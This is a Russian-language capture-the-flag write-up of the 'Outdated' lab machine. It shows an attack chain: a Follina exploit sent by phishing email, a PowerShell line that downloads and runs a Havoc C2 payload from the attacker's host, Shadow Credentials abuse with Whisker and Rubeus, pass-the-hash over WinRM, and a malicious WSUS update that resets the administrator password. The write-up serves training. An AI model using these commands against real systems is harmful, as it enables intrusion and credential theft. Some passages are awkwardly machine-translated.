В даной статье мы воспользуемся правом AddKeyCredentialLink на учетную запись, и позлоупотребляем этим правом. Потом поработаем со службой WSUS для повышения привилегий. Для удобства используем недавно опубликованный C2-фреймворк Havoc. И наконец я покажу, как эксплуатировать уязвимость MSTD Follina.
РАЗВЕДКА
Сканирование портов
Добавляем IP-адрес машины в /
:
10.10.11.175 outdated.htb
И запускаем сканирование портов.
Сканирование портов — стандартный первый шаг в любой атаке. Это позволяет злоумышленнику узнать, какие службы на хосте принимают соединение. На основе этой информации выбирается следующий шаг для получения точки входа.
Наиболее известным инструментом сканирования является Nmap. Улучшить результаты своей работы можно с помощью следующего скрипта:
#!/bin/bash
ports=$(nmap -p- --min-rate=500 $1 | grep ^[0-9] | cut -d '/' -f 1 | tr '\n' ',' | sed s/,$//)
Он работает в два этапа. Первый выполняет обычное быстрое сканирование, второй выполняет более тщательное сканирование с использованием доступных скриптов (опция -A).
Результат работы скрипта
Мы нашли много открытых портов, что типично для Windows:
- 25 — служба SMTP (почтовый сервер);
- 53 — служба DNS;
- 88 (фильтруется) — служба Kerberos;
- 135 — служба удаленного вызова процедур (Microsoft RPC). Используется для операций взаимодействия контроллер — контроллер и контроллер — клиент;
- 139 — служба сеансов NetBIOS, NetLogon;
- 389 (фильтруется) — служба LDAP;
- 445 — служба SMB;
- 464 — служба смены пароля Kerberos;
- 593 (HTTP-RPC-EPMAP) — используется в службах DCOM и MS Exchange;
- 636 — LDAP с шифрованием SSL или TLS;
- 3268 (LDAP) (фильтруется) — для доступа к Global Catalog от клиента к контроллеру;
- 3269 (LDAPS) — для доступа к Global Catalog от клиента к контроллеру через защищенное соединение;
- 5985 (фильтруется) — служба удаленного управления WinRM;
- 8530, 8531 (фильтруется) — служба WSUS для обновлений операционных систем и продуктов Microsoft;
- 9389 (фильтруется) — веб‑службы AD DS.
Порты 22 и 636 открывают нам новые доменные имена, которые добавим в файл /
:
10.10.11.175 outdated.htb dc.outdated.htb mail.outdated.htb
ТОЧКА ВХОДА
Первый шаг — проверить, есть ли анонимный доступ к сервису SMB. Для этого войдите в систему как гость с пустым паролем. С помощью утилиты CrackMapExec с опцией —shares мы можем сразу получить доступные шары.
crackmapexec smb 10.10.11.175 -u 'guest' -p '' --shares
Доступные общие ресурсы
Получаем список общих ресурсов и делаем каталог Shares доступным для чтения для себя. Для работы с ресурсом SMB будем использовать smbclient из из пакета скриптов impacket.
impacket-smbclient guest@dc.outdated.htb
use shares
ls
Содержимое каталога shares
Находим всего один документ, который забираем на свой хост командой get
.
Содержимое документа NOC_Reminder.pdf
Это отчет, который предоставляет нам список текущих уязвимостей (а не то, что они закрыты). Это также указывает на то, что мы можем отправить ссылку на уязвимое приложение на itsupport@outdated.htb. Среди списка — нашумевшая в последнее время уязвимость CVE-2022-30190, она же Follina.
ТОЧКА ОПОРЫ
Мы воспользуемся готовым эксплойтом, но поскольку нам нужна ссылка на саму загрузку, а не на документ, содержащий ее, внесем изменение. Находим нагрузку в исходном коде и меняем на команду, которая скачает исполняемый файл, а затем запустит его.
Invoke-WebRequest http://10.10.14.24:8080/demon.exe -OutFile C:\\Windows\\Tasks\\demon.exe; C:\\Windows\\Tasks\\demon.exe
Измененный код эксплоита
Теперь давайте запустим файл follina.py,
который содержит загрузку, веб-сервер и прослушиватель. Но вместо netcat
мы будем использовать нагрузку Havoc.
python3 follina.py --interface tun0 --port 8000 --reverse 4321
Запуск follina.py
А теперь давайте перейдем к фреймворку Havoc. Собрать клиент и сервер из исходников очень просто. Для начала установим необходимые пакеты.
sudo apt install -y git build-essential apt-utils cmake libfontconfig1 libglu1-mesa-dev libgtest-dev libspdlog-dev libboost-all-dev libncurses5-dev libgdbm-dev libssl-dev libreadline-dev libffi-dev libsqlite3-dev libbz2-dev mesa-common-dev qtbase5-dev qtchooser qt5-qmake qtbase5-dev-tools libqt5websockets5 libqt5websockets5-dev qtdeclarative5-dev golang-go qtbase5-dev libqt5websockets5-dev libspdlog-dev python3-dev libboost-all-dev mingw-w64 nasm
Теперь скачиваем сам проект и собираем сначала клиент, потом сервер.
git clone https://github.com/HavocFramework/Havoc.git
#build client
cd Havoc/Client
make
cd ../..
#build server
cd Havoc/Teamserver
go mod download golang.org/x/sys
go mod download github.com/ugorji/go
./Install.sh
make
Теперь внесем изменение в файл Havoc/
, где указываем настройки сервера, а также пользователей для подключения.
Teamserver {
Host = "0.0.0.0"
Port = 9898
Build {
Compiler64 = "data/x86_64-w64-mingw32-cross/bin/x86_64-w64-mingw32-gcc"
Nasm = "/usr/bin/nasm"
}
}
Operators {
user "ralf" {
Password = "password"
}
}
Когда все готово, запускаем клиент как Havoc/
и сервер:
./teamserver server --profile ./profiles/havoc.yaotl
Затем создаем HTTPS-листенер и генерируем нагрузку в формате .exe.
Создание листенера
Создание нагрузки
В каталоге, где расположена нагрузка, запустим простой веб‑сервер:
python3 -m http.server 8080
Затем отправляем письмо.
swaks --to itsupport@outdated.htb --from ralf@ralf --server mail.outdated.htb --body "http://10.10.14.24:8000/"
Отправка сообщения
Машина с багами, поэтому засылать приходилось по нескольку раз, а то и с ревертом самой машины. Но все же отстук получить удалось.
Сессии Havoc
shell whoami
Результат выполнения команды whoami
ПРОДВИЖЕНИЕ
Теперь нужно решить, куда двигаться дальше. Для этого мы используем очень крутую программу — BloodHound. Он использует теорию графов для обнаружения скрытых и часто непреднамеренных взаимосвязей в среде Active Directory. BloodHound можно использовать для выявления очень сложных путей атаки, которые в противном случае было бы невозможно быстро идентифицировать.
BloodHound
Поскольку у нас нет учетных данных пользователя домена, нам нужно использовать версию программы C# на целевом хосте. К счастью, Havoc позволяет запускать сборки .NET непосредственно в памяти, не загружая исполняемый файл на хост. Для этого используйте команду dotnet inline-execute.
Затем загружаем файл с собранной информацией на C&C сервер командой download.
dotnet inline-execute /home/ralf/tools/SHARP/Discovery/SharpHound.exe -c All
Скачанные файлы можно будет найти в хранилище Havoc.
Хранилище Havoc
Для работы с выходным файлом BloodHound нам нужно установить СУБД Neo4j и графическую оснастку bloodhound для построения графа связей.
sudo apt install neo4j bloodhound
Запустите установленный Neo4j с помощью консольной команды sudo neo4j.
После сообщения об успешном запуске переходим на localhost:7474
через браузер. Нас тут же попросят установить пароль. После установки пароля запустите BloodHound (команда hound в командной строке) и войдите в систему с новым установленным паролем.
Когда откроется пустое окно, закинуть в него получившийся архив. А затем в поле поиска укажите группу пользователей. На экране отобразятся все пользователи из этой группы, среди которых найдем подконтрольного нам и отметим его как Отметить пользователя как принадлежащего. На иконке пользователя должен появиться череп. Затем попросим BloodHound найти способ перехода к другим пользователям из уже взломанного (которого мы только что отметили) — опция Shortest Path from Owned Principals в графе аналитики.
Граф продвижения
Это даст нам маршрут для захвата пользователя sflowers, который является администратором WSUS, но мы поговорим об этом при повышении привилегий. Теперь нас интересует группа ITSTAFF, у которой есть право AddKeyCredentialLink для аккаунта sflowers. Здесь мы можем использовать технику Shadow Credentials.
Shadow Credentials
Этот метод позволяет злоумышленнику получить контроль над учетной записью пользователя или компьютера, если он может изменить атрибут цели msDS-KeyCredentialLink
и добавить альтернативные учетные данные, например сертификат. Это можно сделать с помощью утилиты Whisker.
dotnet inline-execute /home/ralf/tools/SHARP/CredAccess/Whisker.exe add /target:sflowers
Добавление альтернативных учетных данных
Сертификат добавлен, пароль показан, но также показана и следующая команда, которой мы запросим тикет и хеш пароля пользователя.
dotnet inline-execute /home/ralf/tools/SHARP/CredAccess/Rubeus.exe asktgt /user:sflowers /certificate:MIIJuAIB...dNldA/o3dwICB9A= /password:"C9pt7Aokq2cmfYxq" /domain:outdated.htb /dc:DC.outdated.htb /getcredentials /show
NTLM-хеш пользователя
С полученным хешем можно авторизоваться через службу WinRM и запустить новый демон Havoc.
evil-winrm -i dc.outdated.htb -u sflowers -H 1FCDB1F6015DCB318CC77BB2BDA14DB5
Сессии Havoc
Флаг пользователя
ЛОКАЛЬНОЕ ПОВЫШЕНИЕ ПРИВИЛЕГИЙ
Теперь вернемся к группе администраторов WSUS. Мы можем управлять службой WSUS, но прежде, чем говорить о повышении привилегий, нам нужно проверить еще два параметра.
Первый — обновления запрашиваются без использования SSL:
shell reg query HKLM\Software\Policies\Microsoft\Windows\WindowsUpdate /v WUServer
Значение WUServer
Второй — игнорируется ли запись WUServer
:
shell reg query HKLM\Software\Policies\Microsoft\Windows\WindowsUpdate\AU /v UseWUServer
Значение UseWUServer
Условия соблюдены, поэтому мы можем использовать технику эскалации через WSUS. Сначала загружаем на хост PsExec64.
.
upload /home/ralf/tmp/PsExec64.exe C:\Windows\Tasks\PsExec64.exe
Теперь c помощью SharpWSUS создаем вредоносное обновление, которое изменит пароль администратора.
Создание вредоносного обновления
Теперь развернем наше обновление.
.\SharpWSUS.exe approve /updateid:b8947333-f662-4d7a-832f-f2f4700df828 /computername:dc.outdated.htb /groupname:"newgroup1"
Применение созданного обновления
.\SharpWSUS.exe check /updateid:b8947333-f662-4d7a-832f-f2f4700df828 /computername:dc.outdated.htb
И проверяем его статус.
Проверка статуса обновления
Обновление прошло успешно, поэтому можем подключиться по WinRM и забрать флаг рута.
evil-winrm -i dc.outdated.htb -u Administrator -p '!QA@WS3ed4rf'
Флаг рута
Заключение
Эксперты нашли еще одну весьма нешуточную незащищенность в продуктах Microsoft, которая вероятно дозволяет злоумышленникам исполнять случайный код. Ей присвоили номер CVE-2022-30190 и среди исследователей дали имя Follina. Самое обидное, что патча еще нет, а между тем уязвимость уже активно эксплуатируется злоумышленниками.